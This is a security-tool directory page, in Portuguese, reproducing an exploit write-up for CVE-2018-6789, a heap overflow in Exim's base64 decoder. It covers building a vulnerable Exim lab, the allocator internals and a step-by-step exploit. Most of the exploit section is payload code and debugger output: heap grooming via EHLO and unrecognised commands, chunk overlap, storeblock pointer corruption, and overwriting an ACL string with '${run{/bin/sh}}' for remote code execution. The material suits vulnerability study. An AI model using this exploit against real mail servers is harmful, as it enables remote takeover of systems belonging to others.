Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2018-6789 — Exploit para CVE-2018-6789, um estouro de buffer no heap na decodificação base64 do Exim, alcançando execução remota de código por meio de sobreposição de chunks e manipulação de strings ACL. | Kitploit
Ferramentas/GitHubGitHub/beraphin/cve-2018-6789
Análise de VulnerabilidadesExploraçãoCTFAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubberaphin/cve-2018-6789

CVE-2018-6789

Exploit para CVE-2018-6789, um estouro de buffer no heap na decodificação base64 do Exim, alcançando execução remota de código por meio de sobreposição de chunks e manipulação de strings ACL.

Ver Repositório
311há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2018-6789

Configuração do Ambiente

Instalar dependências

root@kitploit:~
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev

Baixar versão antiga do exim

root@kitploit:~
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf

Em seguida, modificar Local/Makefile Para conveniência, todos os diretórios apontam para o diretório atual

root@kitploit:~
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes

Isso facilita a depuração Depois compilar e instalar

root@kitploit:~
make install

Modificar ./configure, sobrescrever com o conteúdo abaixo

root@kitploit:~
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
  .ifdef CHECK_MAIL_HELO_ISSUED
  deny
    message = no HELO given before MAIL command
    condition = ${if def:sender_helo_name {no}{yes}}
  .endif

  accept

acl_check_data:
  accept

begin authenticators
fixed_cram:
  driver = cram_md5
  public_name = CRAM-MD5
  server_secret = ${if eq{$auth1}{ph10}{secret}fail}
  server_set_id = $auth1

Execução

root@kitploit:~
./bin/exim -bd -d-receive

Análise da Vulnerabilidade

Primeiro, analisar o patch em base64.c: 1 Onde result é o buffer que armazena o resultado da decodificação base64, obtido pela função store_get Pode-se observar que o cálculo do size antes do patch está incorreto. Quando size está no intervalo 4n~4n+3, o tamanho calculado é igual, mas quando b64decode decodifica um parâmetro que não é múltiplo de 4, ele decodifica um ou dois bytes extras.

Por exemplo, enviando diretamente

root@kitploit:~
auth_md5('Hf'*42)

size=0x40
Distribuição de memória resultante:

root@kitploit:~
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 00  │....│....│....│....│
+0040 0x711da0  20 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

Testando novamente

root@kitploit:~
auth_md5('Hf'*42+'HfH')

size=0x40

root@kitploit:~
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0040 0x711da0  f1 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

Transbordou dois bytes

Mecanismo de Gerenciamento de Memória do Exim

Para melhorar o desempenho, o exim implementa seu próprio mecanismo de gerenciamento de memória sobre o mecanismo de heap padrão. Ele funciona como um buffer intermediário entre o código e o glibc, com o objetivo de reduzir o número de chamadas malloc e free 2 Para o exim, cada bloco de heap individual é chamado de storeblock. Cada vez que é usado, um buffer de tamanho apropriado é alocado a partir dele. Se um storeblock for completamente usado, outro storeblock é alocado via malloc. Para cada storeblock, sua estrutura é uma simples lista encadeada:

root@kitploit:~
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

As principais APIs usadas pelo programa para gerenciamento de heap estão em store.c:

root@kitploit:~
store_get
store_release
store_extend
store_reset

store_get é usado para obter um buffer. O código principal é o seguinte:

root@kitploit:~
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161   /* If there was no free block, get a new one */
162 
163   if (!newblock)
164     {
165     pool_malloc += mlength;           /* Used in pools */
166     nonpool_malloc -= mlength;        /* Exclude from overall total */
167     newblock = store_malloc(mlength);
...

Pode-se observar que o tamanho mínimo de um store_block solicitado é STORE_BLOCK_SIZE, ou seja, 8192.

Portanto, um store_block de tamanho 8192, adicionando seu cabeçalho de estrutura e o cabeçalho do heap, resulta em um tamanho total de 0x2020 3

Quando o exim executa um comando enviado pelo cliente e o comando é bem-sucedido, ele chama store_reset para liberar o cache desnecessário e os store_block excedentes. "Execução bem-sucedida" aqui inclui comandos com formato correto, e-mail sem caracteres ilegais, etc. Caso contrário, store_reset não é chamado.

Estratégia de Exploração

Esta vulnerabilidade é um clássico off-by-one (embora na verdade possa transbordar dois bytes). No entanto, como o número de bytes que transbordam é pequeno, não é possível sobrescrever diretamente estruturas sensíveis no heap. Portanto, é necessário usar algumas características do ptmalloc para ampliar o impacto da vulnerabilidade, transformando-a em um overflow de maior alcance, ou overlap. Para vulnerabilidades off-by-one, existe um método clássico: chunk enlarge -> chunk overlap. Ao aumentar o size de um chunk e forjar um cabeçalho de chunk para burlar a verificação de sanidade do glibc, é possível obter sobreposição de chunks e causar uma cobertura maior.

O processo principal é: chunk enlarge -> chunk overlap -> corromper o ponteiro next no storeblock, então acionar store_reset para liberar um chunk arbitrário. Ao solicitar esse chunk novamente, podemos modificar seu conteúdo (type confusion). Meh no artigo recomenda modificar o chunk onde a string ACL está localizada, porque no processamento da string ACL existe uma funcionalidade de execução de comandos. As strings ACL são muitas, mas a maioria é NULL (provavelmente relacionada ao arquivo de configuração). Aqui escolho a string acl_smtp_mail, cuja sintaxe para executar comandos é

root@kitploit:~
${run{command}}

O layout aproximado do heap é o seguinte 4

O primeiro chunk é o chunk resultante da decodificação base64, usado para o off-by-one. Portanto, ele deve estar no final de um storeblock. Por conveniência, solicito diretamente um chunk maior que 0x2020 para armazenar o resultado da decodificação base64; O segundo chunk é sender_helo_name, usado para sobrescrever o próximo chunk. sender_helo_name não é armazenado em storeblock, mas alocado diretamente via malloc:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);

Portanto, o tamanho é arbitrário; O terceiro chunk é o chunk resultante da decodificação base64, usado principalmente para forjar o cabeçalho e ser sobrescrito. Portanto, ele deve estar no início de um storeblock. Por conveniência, também solicito diretamente o tamanho 0x2020.

Exploit

Meu exploit também foi obtido passo a passo seguindo análises de outras pessoas na internet. A ideia geral permanece a mesma, mas o layout do heap é um pouco diferente, então alguns parâmetros pequenos são diferentes.

Primeiro, gerar um unsortedbin de tamanho 0x6060, que pode ser obtido com o seguinte comando

root@kitploit:~
ehlo('a'*0x1000)

Quando o exim recebe "EHLO "+'a'*0x1000, ele gera as seguintes três strings na função match_check_list em match.c:

root@kitploit:~
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
onde *name* é 'a'*0x1000

Como o comprimento de name é 0x1000, cada string ocupará um storeblock separado. Essas três strings estarão em três storeblocks consecutivos. Quando o exim completa com sucesso o comando ehlo, ele libera as três strings anteriores em smtp_setup_msg em smtp_in.c, obtendo um chunk de tamanho 0x6060:

root@kitploit:~
4369     cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370     smtp_reset(reset_point);
4371     toomany = FALSE;
4372     break;   /* HELO/EHLO */

Neste momento, o layout do heap é o seguinte: 5

Para colocar sender_helo_name no meio do chunk, precisamos liberar o sender_helo_name original e então ocupar o topo do chunk. Quando o segundo sender_helo_name for colocado, liberamos o topo do chunk. Aqui eu uso o comando unrecognize para ocupar espaço. Porque ao receber um comando unrecognize, o exim chama synprot_error para reportar erro, algo como:

root@kitploit:~
79099 LOG: smtp_syntax_error MAIN
  SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****

Mas se o comando consiste apenas em caracteres visíveis, o exim não alocará um novo chunk:

root@kitploit:~
 290 const uschar *
 291 string_printing2(const uschar *s, BOOL allow_tab)
 292 {
 293 int nonprintcount = 0;
 294 int length = 0;
 295 const uschar *t = s;
 296 uschar *ss, *tt;
 297 
 298 while (*t != 0)
 299   {
 300   int c = *t++;
 301   if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
 302   length++;
 303   }
 304 
 305 if (nonprintcount == 0) return s;
 306 
 307 /* Get a new block of store guaranteed big enough to hold the
 308 expanded string. */
 309 
 310 ss = store_get(length + nonprintcount * 3 + 1);
 ...

Se o comando contiver caracteres não imprimíveis, o exim alocará um novo buffer e converterá esses caracteres em strings octais, por exemplo, '\xee' -> "\356". É daí que vem o cálculo length + (nonprintcount * 3 + 1).

Portanto, primeiro coloco sender_ehlo_name em um chunk pequeno e depois tento enviar 0x800 caracteres '\xee', o que solicitará 0x800 + 1 + 0x800 * 3 = 0x2001. Como não há espaço suficiente no storeblock atual, um novo store_block será alocado.

root@kitploit:~
ehlo('b'*0x20)
unrec('\xee'*0x800)

6

Em seguida, solicitar um sender_elho_name de tamanho 0x2010:

root@kitploit:~
ehlo('x'*0x2020)

Isso liberará primeiro o sender_elho_name anterior de tamanho 0x20:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838 
1839 /* Discard any previous helo name */
1840 
1841 if (sender_helo_name != NULL)
1842   {
1843   store_free(sender_helo_name);
1844   sender_helo_name = NULL;
1845   }
...

Em seguida, alocar um novo sender_helo_name. Quando tudo estiver pronto, store_reset é chamado para limpar os storeblocks desnecessários. Assim, a mensagem de erro de tamanho 0x2020 será liberada e, junto com o sender_helo_name anterior já liberado, sofrerá malloc_consolidate, formando um novo chunk de tamanho 0x2050: 7

Assim, o layout do heap está basicamente completo. Agora, ocupar o topo do chunk e acionar a vulnerabilidade:

root@kitploit:~
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")

Ocupar o topo do chunk e transbordar um byte, alterando o size de 0x2021 para 0x20f1. Em seguida, ocupar o chunk de baixo e forjar um size de 0x1f61, fazendo-o apontar para o próximo chunk:

root@kitploit:~
payload2 = 'm'*0x38+p64(0x1f61) 
auth_md5(b64encode(payload2))

Aqui, solicito mais um chunk, caso contrário, o storeblock sobrescrito seria o último storeblock, com next = null.

root@kitploit:~
auth_md5(b64encode('a'*0x1000))

Agora podemos liberar sender_helo_name para causar chunk overlap. No entanto, há um ponto: como precisamos que o chunk de baixo forneça o ponteiro next (que sobrescrevemos para obter um free de endereço arbitrário), não queremos que esse chunk seja liberado. Portanto, podemos construir um nome inválido que apenas libere sender_helo_name:

root@kitploit:~
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);

...
3998     HELO_EHLO:      /* Common code for HELO and EHLO */
3999     cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000     cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001 
4002     /* Reject the HELO if its argument was invalid or non-existent. A
4003     successful check causes the argument to be saved in malloc store. */
4004 
4005     if (!check_helo(smtp_cmd_data))
4006       {
...
4022       break;
4023       } 

Se check_helo falhar, o programa sai do loop sem chamar store_reset. Vamos dar uma olhada na lógica do check_helo:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870   /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871   that have been configured (usually underscore - sigh). */
1872 
1873   else if (*s)
1874     for (yield = TRUE; *s; s++)
1875       if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876           Ustrchr(helo_allow_chars, *s) == NULL)
1877         {
1878         yield = FALSE;
1879         break;
1880         }
...
1885 return yield;
1886 }

Pode-se ver que check_helo verifica os caracteres enviados, exigindo que sejam letras ou alguns sinais de pontuação, ou caracteres em helo_allow_chars. Geralmente helo_allow_chars está vazio, configurado no arquivo de configuração. Portanto, podemos construir um sender_helo_name com espaços:

root@kitploit:~
ehlo('pwn it!')   #must include some invalide chars

Isso causa a sobreposição de chunks. Em seguida, ocupar esse chunk para sobrescrever o ponteiro next apontando para o chunk onde a string ACL está localizada. Há um problema: outros exploits usam sobrescrita parcial para contornar o ASLR, mas isso não funciona no meu ambiente, porque o chunk ACL e o chunk apontado por next estão muito distantes.

root@kitploit:~
pwndbg> tel 0x7214c0+0x2030
00:0000│   0x7234f0 ◂— 0x0
01:0008│   0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│   0x723500 —▸ 0x728510           <== next
03:0018│   0x723508 ◂— 0x2000

pwndbg> tel 0x6f7990                      <== acl chunk
00:0000│   0x6f7990 ◂— 0x30 /* '0' */
01:0008│   0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│   0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│   0x6f79a8 ◂— 0x2000
04:0020│   0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│   0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│   0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│   0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')

Portanto, meu exploit usa endereços absolutos:

root@kitploit:~
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))

Assim, o chunk da string ACL é adicionado à cadeia deste store_block. Quando trocamos o sender_helo_name, esses chunks serão liberados em store_reset. Agora precisamos enviar um nome válido:

root@kitploit:~
ehlo('I'*16)

Ao solicitar um novo chunk, obteremos o chunk onde a string ACL está localizada:

root@kitploit:~
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))

Aqui, sobrescrevo o endereço apontado por acl_smtp_mail. Basicamente, todas as strings ACL estão neste chunk, pois são lidas do arquivo configure e colocadas no buffer obtido por store_get. Portanto, estão todas armazenadas consecutivamente neste storeblock. Por fim, chamar a API relacionada a ACL:

root@kitploit:~
r.sendline('MAIL FROM: <[email protected]>')

Em smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid, é chamado execve para executar o comando dentro de run. Abaixo estão as informações de depuração do servidor mostrando que o comando foi executado. 8

Referências

https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588 https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

Baixar ferramenta